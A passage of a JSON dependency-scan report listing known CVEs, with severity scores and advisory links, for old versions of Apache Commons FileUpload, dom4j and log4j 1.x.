            "https://www.tenable.com/security/research/tra-2016-30"
          ],
          "PublishedDate": "2016-10-25T14:29:00Z",
          "LastModifiedDate": "2023-11-07T02:29:00Z"
        },
        {
          "VulnerabilityID": "CVE-2023-24998",
          "PkgID": "commons-fileupload:commons-fileupload:1.3.2",
          "PkgName": "commons-fileupload:commons-fileupload",
          "InstalledVersion": "1.3.2",
          "FixedVersion": "1.5",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-24998",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Apache Commons FileUpload: FileUpload DoS with excessive parts",
          "Description": "Apache Commons FileUpload before 1.5 does not limit the number of request parts to be processed resulting in the possibility of an attacker triggering a DoS with a malicious upload or series of uploads.\n\n\n\n\nNote that, like all of the file upload limits, the\n          new configuration option (FileUploadBase#setFileCountMax) is not\n          enabled by default and must be explicitly configured.\n\n\n",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-770"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 6.5
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2023/05/22/1",
            "https://access.redhat.com/errata/RHSA-2023:6570",
            "https://access.redhat.com/security/cve/CVE-2023-24998",
            "https://bugzilla.redhat.com/2172298",
            "https://bugzilla.redhat.com/2180856",
            "https://bugzilla.redhat.com/2210321",
            "https://commons.apache.org/proper/commons-fileupload/security-reports.html",
            "https://commons.apache.org/proper/commons-fileupload/security-reports.html#Fixed_in_Apache_Commons_FileUpload_1.5",
            "https://errata.almalinux.org/9/ALSA-2023-6570.html",
            "https://github.com/apache/commons-fileupload",
            "https://github.com/apache/commons-fileupload/commit/e20c04990f7420ca917e96a84cec58b13a1b3d17",
            "https://linux.oracle.com/cve/CVE-2023-24998.html",
            "https://linux.oracle.com/errata/ELSA-2023-7065.html",
            "https://lists.apache.org/thread/4xl4l09mhwg4vgsk7dxqogcjrobrrdoy",
            "https://lists.debian.org/debian-lts-announce/2023/10/msg00020.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2023-24998",
            "https://security.gentoo.org/glsa/202305-37",
            "https://www.cve.org/CVERecord?id=CVE-2023-24998",
            "https://www.debian.org/security/2023/dsa-5522"
          ],
          "PublishedDate": "2023-02-20T16:15:00Z",
          "LastModifiedDate": "2023-10-13T16:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2020-10683",
          "PkgID": "dom4j:dom4j:1.6.1",
          "PkgName": "dom4j:dom4j",
          "InstalledVersion": "1.6.1",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2020-10683",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "XML External Entity vulnerability in default SAX parser",
          "Description": "dom4j before 2.0.3 and 2.1.x before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-611"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
              "V3Score": 7.4
            }
          },
          "References": [
            "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00061.html",
            "https://access.redhat.com/security/cve/CVE-2020-10683",
            "https://bugzilla.redhat.com/show_bug.cgi?id=1694235",
            "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10683",
            "https://github.com/dom4j/dom4j",
            "https://github.com/dom4j/dom4j/commit/1707bf3d898a8ada3b213acb0e3b38f16eaae73d",
            "https://github.com/dom4j/dom4j/commit/a8228522a99a02146106672a34c104adbda5c658",
            "https://github.com/dom4j/dom4j/commits/version-2.0.3",
            "https://github.com/dom4j/dom4j/issues/87",
            "https://github.com/dom4j/dom4j/releases/tag/version-2.1.3",
            "https://lists.apache.org/thread.html/r51f3f9801058e47153c0ad9bc6209d57a592fc0e7aefd787760911b8%40%3Cdev.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/r51f3f9801058e47153c0ad9bc6209d57a592fc0e7aefd787760911b8@%3Cdev.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/r91c64cd51e68e97d524395474eaa25362d564572276b9917fcbf5c32%40%3Cdev.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/r91c64cd51e68e97d524395474eaa25362d564572276b9917fcbf5c32@%3Cdev.velocity.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b990d7920ae0d50da5109b73b92bab736d46c9788dd4b135cb1a51%40%3Cnotifications.freemarker.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b990d7920ae0d50da5109b73b92bab736d46c9788dd4b135cb1a51@%3Cnotifications.freemarker.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2020-10683",
            "https://security.netapp.com/advisory/ntap-20200518-0002/",
            "https://ubuntu.com/security/notices/USN-4575-1",
            "https://usn.ubuntu.com/4575-1/",
            "https://www.cve.org/CVERecord?id=CVE-2020-10683",
            "https://www.oracle.com//security-alerts/cpujul2021.html",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html",
            "https://www.oracle.com/security-alerts/cpuoct2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html"
          ],
          "PublishedDate": "2020-05-01T19:15:00Z",
          "LastModifiedDate": "2023-11-07T03:14:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-1000632",
          "PkgID": "dom4j:dom4j:1.6.1",
          "PkgName": "dom4j:dom4j",
          "InstalledVersion": "1.6.1",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-1000632",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "dom4j: XML Injection in Class: Element. Methods: addElement, addAttribute which can impact the integrity of XML documents",
          "Description": "dom4j version prior to version 2.1.1 contains a CWE-91: XML Injection vulnerability in Class: Element. Methods: addElement, addAttribute that can result in an attacker tampering with XML documents through XML injection. This attack appear to be exploitable via an attacker specifying attributes or elements in the XML document. This vulnerability appears to have been fixed in 2.1.1 or later.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-91"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
              "V3Score": 5.3
            }
          },
          "References": [
            "https://access.redhat.com/errata/RHSA-2019:0362",
            "https://access.redhat.com/errata/RHSA-2019:0364",
            "https://access.redhat.com/errata/RHSA-2019:0365",
            "https://access.redhat.com/errata/RHSA-2019:0380",
            "https://access.redhat.com/errata/RHSA-2019:1159",
            "https://access.redhat.com/errata/RHSA-2019:1160",
            "https://access.redhat.com/errata/RHSA-2019:1161",
            "https://access.redhat.com/errata/RHSA-2019:1162",
            "https://access.redhat.com/errata/RHSA-2019:3172",
            "https://access.redhat.com/security/cve/CVE-2018-1000632",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000632",
            "https://github.com/advisories/GHSA-6pcc-3rfx-4gpm",
            "https://github.com/dom4j/dom4j/",
            "https://github.com/dom4j/dom4j/commit/c2a99d7dee8ce7a4e5bef134bb781a6672bd8a0f",
            "https://github.com/dom4j/dom4j/commit/e598eb43d418744c4dbf62f647dd2381c9ce9387",
            "https://github.com/dom4j/dom4j/issues/48",
            "https://ihacktoprotect.com/post/dom4j-xml-injection/",
            "https://lists.apache.org/thread.html/00571f362a7a2470fba50a31282c65637c40d2e21ebe6ee535a4ed74%40%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/00571f362a7a2470fba50a31282c65637c40d2e21ebe6ee535a4ed74@%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/4a77652531d62299a30815cf5f233af183425db8e3c9a824a814e768%40%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/4a77652531d62299a30815cf5f233af183425db8e3c9a824a814e768@%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/5a020ecaa3c701f408f612f7ba2ee37a021644c4a39da2079ed3ddbc%40%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/5a020ecaa3c701f408f612f7ba2ee37a021644c4a39da2079ed3ddbc@%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451%40%3Csolr-user.lucene.apache.org%3E",
            "https://lists.apache.org/thread.html/708d94141126eac03011144a971a6411fcac16d9c248d1d535a39451@%3Csolr-user.lucene.apache.org%3E",
            "https://lists.apache.org/thread.html/7e9e78f0e4288fac6591992836d2a80d4df19161e54bd71ab4b8e458%40%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/7e9e78f0e4288fac6591992836d2a80d4df19161e54bd71ab4b8e458@%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/7f6e120e6ed473f4e00dde4c398fc6698eb383bd7857d20513e989ce%40%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/7f6e120e6ed473f4e00dde4c398fc6698eb383bd7857d20513e989ce@%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/9d4c1af6f702c3d6d6f229de57112ddccac8ce44446a01b7937ab9e0%40%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/9d4c1af6f702c3d6d6f229de57112ddccac8ce44446a01b7937ab9e0@%3Ccommits.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/d7d960b2778e35ec9b4d40c8efd468c7ce7163bcf6489b633491c89f%40%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/d7d960b2778e35ec9b4d40c8efd468c7ce7163bcf6489b633491c89f@%3Cdev.maven.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b990d7920ae0d50da5109b73b92bab736d46c9788dd4b135cb1a51%40%3Cnotifications.freemarker.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b990d7920ae0d50da5109b73b92bab736d46c9788dd4b135cb1a51@%3Cnotifications.freemarker.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2018/09/msg00028.html",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IOOVVCRQE6ATFD2JM2EMDXOQXTRIVZGP/",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KJULAHVR3I5SX7OSMXAG75IMNSAYOXGA/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IOOVVCRQE6ATFD2JM2EMDXOQXTRIVZGP/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KJULAHVR3I5SX7OSMXAG75IMNSAYOXGA/",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-1000632",
            "https://security.netapp.com/advisory/ntap-20190530-0001/",
            "https://ubuntu.com/security/notices/USN-4619-1",
            "https://www.cve.org/CVERecord?id=CVE-2018-1000632",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
          ],
          "PublishedDate": "2018-08-20T19:31:00Z",
          "LastModifiedDate": "2023-11-07T02:51:00Z"
        },
        {
          "VulnerabilityID": "CVE-2019-17571",
          "PkgID": "log4j:log4j:1.2.14",
          "PkgName": "log4j:log4j",
          "InstalledVersion": "1.2.14",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-17571",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "deserialization of untrusted data in SocketServer",
          "Description": "Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2.17.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00022.html",
            "https://access.redhat.com/security/cve/CVE-2019-17571",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17571",
            "https://lists.apache.org/thread.html/277b4b5c2b0e06a825ccec565fa65bd671f35a4d58e3e2ec5d0618e1%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/277b4b5c2b0e06a825ccec565fa65bd671f35a4d58e3e2ec5d0618e1@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/44491fb9cc19acc901f7cff34acb7376619f15638439416e3e14761c%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/44491fb9cc19acc901f7cff34acb7376619f15638439416e3e14761c@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/479471e6debd608c837b9815b76eab24676657d4444fcfd5ef96d6e6%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/479471e6debd608c837b9815b76eab24676657d4444fcfd5ef96d6e6@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/564f03b4e9511fcba29c68fc0299372dadbdb002718fa8edcc4325e4%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/564f03b4e9511fcba29c68fc0299372dadbdb002718fa8edcc4325e4@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/6114ce566200d76e3cc45c521a62c2c5a4eac15738248f58a99f622c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/6114ce566200d76e3cc45c521a62c2c5a4eac15738248f58a99f622c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/752ec92cd1e334a639e79bfbd689a4ec2c6579ec5bb41b53ffdf358d%40%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/752ec92cd1e334a639e79bfbd689a4ec2c6579ec5bb41b53ffdf358d@%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/8ab32b4c9f1826f20add7c40be08909de9f58a89dc1de9c09953f5ac%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/8ab32b4c9f1826f20add7c40be08909de9f58a89dc1de9c09953f5ac@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/eea03d504b36e8f870e8321d908e1def1addda16adda04327fe7c125%40%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/r05755112a8c164abc1004bb44f198b1e3d8ca3d546a8f13ebd3aa05f%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r05755112a8c164abc1004bb44f198b1e3d8ca3d546a8f13ebd3aa05f@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r107c8737db39ec9ec4f4e7147b249e29be79170b9ef4b80528105a2d%40%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r107c8737db39ec9ec4f4e7147b249e29be79170b9ef4b80528105a2d@%3Cdev.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r13d4b5c60ff63f3c4fab51d6ff266655be503b8a1884e2f2fab67c3a%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r13d4b5c60ff63f3c4fab51d6ff266655be503b8a1884e2f2fab67c3a@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r189aaeaad897f7d6b96f7c43a8ef2dfb9f6e9f8c1cc9ad182ce9b9ae%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r189aaeaad897f7d6b96f7c43a8ef2dfb9f6e9f8c1cc9ad182ce9b9ae@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r18f1c010b554a3a2d761e8ffffd8674fd4747bcbcf16c643d708318c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r18f1c010b554a3a2d761e8ffffd8674fd4747bcbcf16c643d708318c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b7734dfdfd938640f2f5fb6f4231a267145c71ed60cc7faa1cbac07%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b7734dfdfd938640f2f5fb6f4231a267145c71ed60cc7faa1cbac07@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r26244f9f7d9a8a27a092eb0b2a0ca9395e88fcde8b5edaeca7ce569c%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r26244f9f7d9a8a27a092eb0b2a0ca9395e88fcde8b5edaeca7ce569c@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe%40%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r2756fd570b6709d55a61831ca028405bcb3e312175a60bc5d911c81f%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r2756fd570b6709d55a61831ca028405bcb3e312175a60bc5d911c81f@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ce8d26154bea939536e6cf27ed02d3192bf5c5d04df885a80fe89b3%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ce8d26154bea939536e6cf27ed02d3192bf5c5d04df885a80fe89b3@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ff63f210842a3c5e42f03a35d8f3a345134d073c80a04077341c211%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ff63f210842a3c5e42f03a35d8f3a345134d073c80a04077341c211@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3543ead2317dcd3306f69ee37b07dd383dbba6e2f47ff11eb55879ad%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3543ead2317dcd3306f69ee37b07dd383dbba6e2f47ff11eb55879ad@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r356d57d6225f91fdc30f8b0a2bed229d1ece55e16e552878c5fa809a%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r356d57d6225f91fdc30f8b0a2bed229d1ece55e16e552878c5fa809a@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r3784834e80df2f284577a5596340fb84346c91a2dea6a073e65e3397%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3784834e80df2f284577a5596340fb84346c91a2dea6a073e65e3397@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3a85514a518f3080ab1fc2652cfe122c2ccf67cfb32356acb1b08fe8%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r3a85514a518f3080ab1fc2652cfe122c2ccf67cfb32356acb1b08fe8@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r3bf7b982dfa0779f8a71f843d2aa6b4184a53e6be7f149ee079387fd%40%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r3bf7b982dfa0779f8a71f843d2aa6b4184a53e6be7f149ee079387fd@%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r3c575cabc7386e646fb12cb82b0b38ae5a6ade8a800f827107824495%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r3c575cabc7386e646fb12cb82b0b38ae5a6ade8a800f827107824495@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r3cf50d05ce8cec8c09392624b7bae750e7643dae60ef2438641ee015%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r3cf50d05ce8cec8c09392624b7bae750e7643dae60ef2438641ee015@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r3d666e4e8905157f3c046d31398b04f2bfd4519e31f266de108c6919%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3d666e4e8905157f3c046d31398b04f2bfd4519e31f266de108c6919@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r48d5019bd42e0770f7e5351e420a63a41ff1f16924942442c6aff6a8%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r48d5019bd42e0770f7e5351e420a63a41ff1f16924942442c6aff6a8@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r48efc7cb5aeb4e1f67aaa06fb4b5479a5635d12f07d0b93fc2d08809%40%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r48efc7cb5aeb4e1f67aaa06fb4b5479a5635d12f07d0b93fc2d08809@%3Ccommits.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r4ac89cbecd9e298ae9fafb5afda6fa77ac75c78d1ac957837e066c4e%40%3Cuser.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r4ac89cbecd9e298ae9fafb5afda6fa77ac75c78d1ac957837e066c4e@%3Cuser.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r4b25538be50126194cc646836c718b1a4d8f71bd9c912af5b59134ad%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r4b25538be50126194cc646836c718b1a4d8f71bd9c912af5b59134ad@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r52a5129df402352adc34d052bab9234c8ef63596306506a89fdc7328%40%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r52a5129df402352adc34d052bab9234c8ef63596306506a89fdc7328@%3Cusers.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r594411f4bddebaf48a4c70266d0b7849e0d82bb72826f61b3a35bba7%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r594411f4bddebaf48a4c70266d0b7849e0d82bb72826f61b3a35bba7@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r5c084578b3e3b40bd903c9d9e525097421bcd88178e672f612102eb2%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r5c084578b3e3b40bd903c9d9e525097421bcd88178e672f612102eb2@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r61590890edcc64140e0c606954b29a063c3d08a2b41d447256d51a78%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r61590890edcc64140e0c606954b29a063c3d08a2b41d447256d51a78@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r61db8e7dcb56dc000a5387a88f7a473bacec5ee01b9ff3f55308aacc%40%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r61db8e7dcb56dc000a5387a88f7a473bacec5ee01b9ff3f55308aacc%40%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r61db8e7dcb56dc000a5387a88f7a473bacec5ee01b9ff3f55308aacc@%3Cdev.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r61db8e7dcb56dc000a5387a88f7a473bacec5ee01b9ff3f55308aacc@%3Cusers.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r6236b5f8646d48af8b66d5050f288304016840788e508c883356fe0e%40%3Clog4j-user.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/r6236b5f8646d48af8b66d5050f288304016840788e508c883356fe0e@%3Clog4j-user.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/r681b4432d0605f327b68b9f8a42662993e699d04614de4851c35ffd1%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r681b4432d0605f327b68b9f8a42662993e699d04614de4851c35ffd1@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r696507338dd5f44efc23d98cafe30f217cf3ba78e77ed1324c7a5179%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r696507338dd5f44efc23d98cafe30f217cf3ba78e77ed1324c7a5179@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r6aec6b8f70167fa325fb98b3b5c9ce0ffaed026e697b69b85ac24628%40%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r6aec6b8f70167fa325fb98b3b5c9ce0ffaed026e697b69b85ac24628@%3Cissues.zookeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r6b45a2fcc8e98ac93a179183dbb7f340027bdb8e3ab393418076b153%40%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r6b45a2fcc8e98ac93a179183dbb7f340027bdb8e3ab393418076b153@%3Ccommon-issues.hadoop.apache.org%3E",
            "https://lists.apache.org/thread.html/r6d34da5a0ca17ab08179a30c971446c7421af0e96f6d60867eabfc52%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r6d34da5a0ca17ab08179a30c971446c7421af0e96f6d60867eabfc52@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r71e26f9c2d5826c6f95ad60f7d052d75e1e70b0d2dd853db6fc26d5f%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r71e26f9c2d5826c6f95ad60f7d052d75e1e70b0d2dd853db6fc26d5f@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r746fbc3fc13aee292ae6851f7a5080f592fa3a67b983c6887cdb1fc5%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r746fbc3fc13aee292ae6851f7a5080f592fa3a67b983c6887cdb1fc5@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r7a1acc95373105169bd44df710c2f462cad31fb805364d2958a5ee03%40%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r7a1acc95373105169bd44df710c2f462cad31fb805364d2958a5ee03@%3Cjira.kafka.apache.org%3E",
            "https://lists.apache.org/thread.html/r7bcdc710857725c311b856c0b82cee6207178af5dcde1bd43d289826%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r7bcdc710857725c311b856c0b82cee6207178af5dcde1bd43d289826@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r7f462c69d5ded4c0223e014d95a3496690423c5f6f05c09e2f2a407a%40%3Cjira.kafka.apache.org%3E",
